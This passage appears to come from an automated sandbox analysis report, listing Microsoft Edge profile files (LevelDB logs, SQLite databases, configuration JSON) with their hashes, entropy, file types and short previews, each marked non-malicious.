Preview:	2024/11/05-04:13:44.660 2110 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/05-04:13:44.663 2110 Recovering log #3.2024/11/05-04:13:44.669 2110 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.095677643595352
Encrypted:	false
SSDEEP:	6:H6At94q2P923oH+Tcwt9Eh1tIFUt8Y6At613JZmw+Y6At89DkwO923oH+Tcwt9Er:r+v4Yeb9Eh16FUt8w6H/+wk5LYeb9Ehx
MD5:	E5180D39FC712804BC971B472E1FA102
SHA1:	0DB091E15473B89EDFB826FA2074C0E283406AAA
SHA-256:	3EC6B2D38F70BE6F7577280166706F11A9F9C748060BC9F04777121E3843E673
SHA-512:	CF0450E838332B9FC91A369B4425C82D9F34B1B7CCF48106AD51EE4E5C91ED471A6CA8BAEC063E5A79F9FAB8E6BB25F4C8BA46DE66D95521718BF7BEB8D25B28
Malicious:	false
Preview:	2024/11/05-04:13:44.660 2110 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/05-04:13:44.663 2110 Recovering log #3.2024/11/05-04:13:44.669 2110 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4630394768951775
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuK8st:TouQq3qh7z3bY2LNW9WMcUvBua
MD5:	2DA3F07E6B2CEC5072638C519CD0D946
SHA1:	93D592BDFBFCDC89EBDF22DDFA378250ED325495
SHA-256:	8D4CC3B41CCBF337B8113A1C33948A5D762064AA0F231694300DEC31EB990B24
SHA-512:	EA50B32042B82538C2634A75375C3256323D2DDDAB34FBF12D2B113DC6FEA28E3C7DFE41056FFB58B6291A972D22F9EDEBE452870370601DA92F3E0B04F29478
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.207816576558348
Encrypted:	false
SSDEEP:	6:H6dtgAq2P923oH+TcwtnG2tMsIFUt8Y668Zmw+Y6GkwO923oH+TcwtnG2tMsLJ:Mv4Yebn9GFUt8R/+45LYebn95J
MD5:	E66EF43C1DEAE325CE8AE31F6E722DCF
SHA1:	E780581C0E171CBC46996F5975541CD8AAD871B2
SHA-256:	C0D3B6D101CA43D6B192D1A4F803C08B36D0BCF51BD73B29C31C2A126F0C176B
SHA-512:	A714AC93542B9579EAB66C09AC76EDF532B51E0CC706F844EDAD798B5300C8C57609B6736580D4185AF539FABC7D365781A7AEEB8C093E988944D5E0A8065BD5
Malicious:	false
Preview:	2024/11/05-04:13:39.399 1640 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/05-04:13:39.417 1640 Recovering log #3.2024/11/05-04:13:39.469 1640 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.207816576558348
Encrypted:	false
SSDEEP:	6:H6dtgAq2P923oH+TcwtnG2tMsIFUt8Y668Zmw+Y6GkwO923oH+TcwtnG2tMsLJ:Mv4Yebn9GFUt8R/+45LYebn95J
MD5:	E66EF43C1DEAE325CE8AE31F6E722DCF
SHA1:	E780581C0E171CBC46996F5975541CD8AAD871B2
SHA-256:	C0D3B6D101CA43D6B192D1A4F803C08B36D0BCF51BD73B29C31C2A126F0C176B
SHA-512:	A714AC93542B9579EAB66C09AC76EDF532B51E0CC706F844EDAD798B5300C8C57609B6736580D4185AF539FABC7D365781A7AEEB8C093E988944D5E0A8065BD5
Malicious:	false
Preview:	2024/11/05-04:13:39.399 1640 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/05-04:13:39.417 1640 Recovering log #3.2024/11/05-04:13:39.469 1640 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6133985400552436
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jpNopSuNQmL:TO8D4jJ/6Up+14z
MD5:	5BDEB04678AF8BBF5EAB7D5292251AF0
SHA1:	5493AC833BC9F55251AA4492249BFF254EE5B26E
SHA-256:	ECCBED87C0F1E2EF0D5384721DE2929B97A7AA76E0622F051FF16F201C4DF6D3
SHA-512:	DB64AF42C77810D3F524DEDEAD563948574A33426D69031285772F55C7F909E650C06D106625F7226924D76B5AC6F6B1AA61C78FC546570DDB5C119FB50AA5A9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.35409487985115
Encrypted:	false
SSDEEP:	6144:IA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:IFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	6DA9B46790444846EE0E9C05C00EA756
SHA1:	8D2F866AE795757E23435E71C5380CCF587EA10F
SHA-256:	77FECA670BC745915B1D2C7CBE347664033696AD28753FAC5FABF6FF99C38E1D
SHA-512:	F247D1E11EC2287F8A676878C2480E444BB1664A5AB6C5B441BEE5A30BD8D420C1EDEBAC0B8D2B8E5D8C166E41F449A0469548A6AD242CF9AD737FD9B1F92447
Malicious:	false
Preview:	...m.................DB_VERSION.1t.{.q...............&QUERY_TIMESTAMP:domains_config_gz2...13375271626544232..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.162102714617536
Encrypted:	false
SSDEEP:	6:H6AthTq1923oH+Tcwtk2WwnvB2KLlV6AtTmVFIq2P923oH+Tcwtk2WwnvIFUv:rhTfYebkxwnvFLzuFIv4YebkxwnQFUv
MD5:	288F933E83E6F09F84145C73D42C7CE9
SHA1:	CF95AB7F6ADCCC235E380FE178B919B191398191
SHA-256:	BE9DA1D91CED4B615ECDAD890C8873B8777ED5C9ABEDF6665C10729E4375004C
SHA-512:	62C43AF0C1BC2A6D08DACA5951114BB5382FE0E64E1B8981BACBF78B4F4549A7E9264844896407F71DD8AC2A01A12020C6091B80FEE78E9C81D918269323548A
Malicious:	false
Preview:	2024/11/05-04:13:44.703 2140 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/05-04:13:44.789 2140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246139879744545
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R/:C1gAg1zfv3
MD5:	C76D640F118872A2929341D74873AE30
SHA1:	8C7F6FBBF6E337367F2589ED507EEECFF5E2E682
SHA-256:	5DD560A2330B649978E69468A73A0C370215A5C8E629E3B1A51BE28CB61CEA93
SHA-512:	BB444AD274BC44BC5D5046AC2774DF9225B2C00E786D5B5F39F957F1651F86C32715B72F851DEF7853B7DDC4CF91D146A7D7BC3FDB018DFE12C94486DC90F457
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160573625883599
Encrypted:	false
SSDEEP:	6:H6d4XN4q2P923oH+Tcwt8aPrqIFUt8Y6dJFt3JZmw+Y6d4DkwO923oH+Tcwt8amd:3ev4YebL3FUt8L/++5LYebQJ
MD5:	6BD10792CB6C0D03A58960B619C7789D
SHA1:	E7454BD06839B91EC79E31021B16A0B0106D90A1
SHA-256:	C3512FF1133E93B8FD0DA5F08B29BD544CB3185C02248CCD8EC62F05A2E2FE96
SHA-512:	20F310F51DAFF9F5400406DBA3B371154A947070A2A58E5B54C66B81184711C814BAF9085D52F415341EDC07730DBF784FFD6305A511616A47983513FA5EF717
Malicious:	false
Preview:	2024/11/05-04:13:39.314 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/05-04:13:39.315 1c80 Recovering log #3.2024/11/05-04:13:39.316 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160573625883599
Encrypted:	false
SSDEEP:	6:H6d4XN4q2P923oH+Tcwt8aPrqIFUt8Y6dJFt3JZmw+Y6d4DkwO923oH+Tcwt8amd:3ev4YebL3FUt8L/++5LYebQJ
MD5:	6BD10792CB6C0D03A58960B619C7789D
SHA1:	E7454BD06839B91EC79E31021B16A0B0106D90A1
SHA-256:	C3512FF1133E93B8FD0DA5F08B29BD544CB3185C02248CCD8EC62F05A2E2FE96
SHA-512:	20F310F51DAFF9F5400406DBA3B371154A947070A2A58E5B54C66B81184711C814BAF9085D52F415341EDC07730DBF784FFD6305A511616A47983513FA5EF717
Malicious:	false
Preview:	2024/11/05-04:13:39.314 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/05-04:13:39.315 1c80 Recovering log #3.2024/11/05-04:13:39.316 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.191810312454754
Encrypted:	false
SSDEEP:	6:H6dYyq2P923oH+Tcwt865IFUt8Y6dN1Zmw+Y6dbRkwO923oH+Tcwt86+ULJ:Pyv4Yeb/WFUt83/+DR5LYeb/+SJ
MD5:	4E6AE8983E5B2EF179203F140551AD52
SHA1:	745AFDB0E2DA589EB76CA04B71CF7E31B56AD658
SHA-256:	C76919BBADA0139364916DAE97CB9E0671BA96D0AECEC9882405EBD0806B92BB
SHA-512:	FDE1DFB8D4306D69635A29FCF86928D7DBA149672ACD30023ECF2A9A9A9836F0A445CF20105443E044B3B3BFECD7BE57210814D3B7B88364236D8637C1EEAF2F
Malicious:	false
Preview:	2024/11/05-04:13:39.362 1770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/05-04:13:39.363 1770 Recovering log #3.2024/11/05-04:13:39.363 1770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.191810312454754
Encrypted:	false
SSDEEP:	6:H6dYyq2P923oH+Tcwt865IFUt8Y6dN1Zmw+Y6dbRkwO923oH+Tcwt86+ULJ:Pyv4Yeb/WFUt83/+DR5LYeb/+SJ
MD5:	4E6AE8983E5B2EF179203F140551AD52
SHA1:	745AFDB0E2DA589EB76CA04B71CF7E31B56AD658
SHA-256:	C76919BBADA0139364916DAE97CB9E0671BA96D0AECEC9882405EBD0806B92BB
SHA-512:	FDE1DFB8D4306D69635A29FCF86928D7DBA149672ACD30023ECF2A9A9A9836F0A445CF20105443E044B3B3BFECD7BE57210814D3B7B88364236D8637C1EEAF2F
Malicious:	false
Preview:	2024/11/05-04:13:39.362 1770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/05-04:13:39.363 1770 Recovering log #3.2024/11/05-04:13:39.363 1770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.112413348221756
Encrypted:	false
SSDEEP:	6:H6AhilBn4q2P923oH+Tcwt8NIFUt8Y6AhiVUbNJZmw+Y6AhiVUbNDkwO923oH+TG:XS4v4YebpFUt8EFhJ/+EFhD5LYebqJ
MD5:	1A6D30445D5F8059296A308C01F4C8A2
SHA1:	2FC3E5E432E28E1927EFAB51294855CEB1F0FCED
SHA-256:	D4A74DA37A143AB9AEA3561D626CA6ABF77B57C1B45AEAD285C025B9CB75F9E3
SHA-512:	EF5AAF0D436FD22FC768AAFE91B12A571D7B46393ECB267CA95F50AD76BDE8D992F4E7DF63597DB315730F05F1C0A97FADBE29D8267927544DD5067092E31A38
Malicious:	false
Preview:	2024/11/05-04:13:40.741 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/05-04:13:40.742 1df4 Recovering log #3.2024/11/05-04:13:40.742 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.112413348221756
Encrypted:	false
SSDEEP:	6:H6AhilBn4q2P923oH+Tcwt8NIFUt8Y6AhiVUbNJZmw+Y6AhiVUbNDkwO923oH+TG:XS4v4YebpFUt8EFhJ/+EFhD5LYebqJ
MD5:	1A6D30445D5F8059296A308C01F4C8A2
SHA1:	2FC3E5E432E28E1927EFAB51294855CEB1F0FCED
SHA-256:	D4A74DA37A143AB9AEA3561D626CA6ABF77B57C1B45AEAD285C025B9CB75F9E3
SHA-512:	EF5AAF0D436FD22FC768AAFE91B12A571D7B46393ECB267CA95F50AD76BDE8D992F4E7DF63597DB315730F05F1C0A97FADBE29D8267927544DD5067092E31A38
Malicious:	false
Preview:	2024/11/05-04:13:40.741 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/05-04:13:40.742 1df4 Recovering log #3.2024/11/05-04:13:40.742 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2181161368834022
Encrypted:	false
SSDEEP:	3:N4/D/ntFlljq7A/mhWJFuQ3yy7IOWUK/ln4/dweytllrE9SFcTp4AGbNCV9RUIxn:N775fOM/+/d0Xi99pEYHn
MD5:	01700B140A7124E74DC2A10E15199CB8
SHA1:	925D88F2B25E61DCC9410496D2190732FC8592A7
SHA-256:	1AEA7B351DBB5F08C33B5C5FD96431D8503C8E87FE319B2EC5FEDF8E14DC49DC
SHA-512:	8ED86A15900E7BDE3FDF6D98200032679BDD1ED575673036739B1D8C48C381CA343BDFACBB20EFB075468369DD686ECB5C51BB7945A2343B06166053B44F922A
Malicious:	false
Preview:	..............~....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

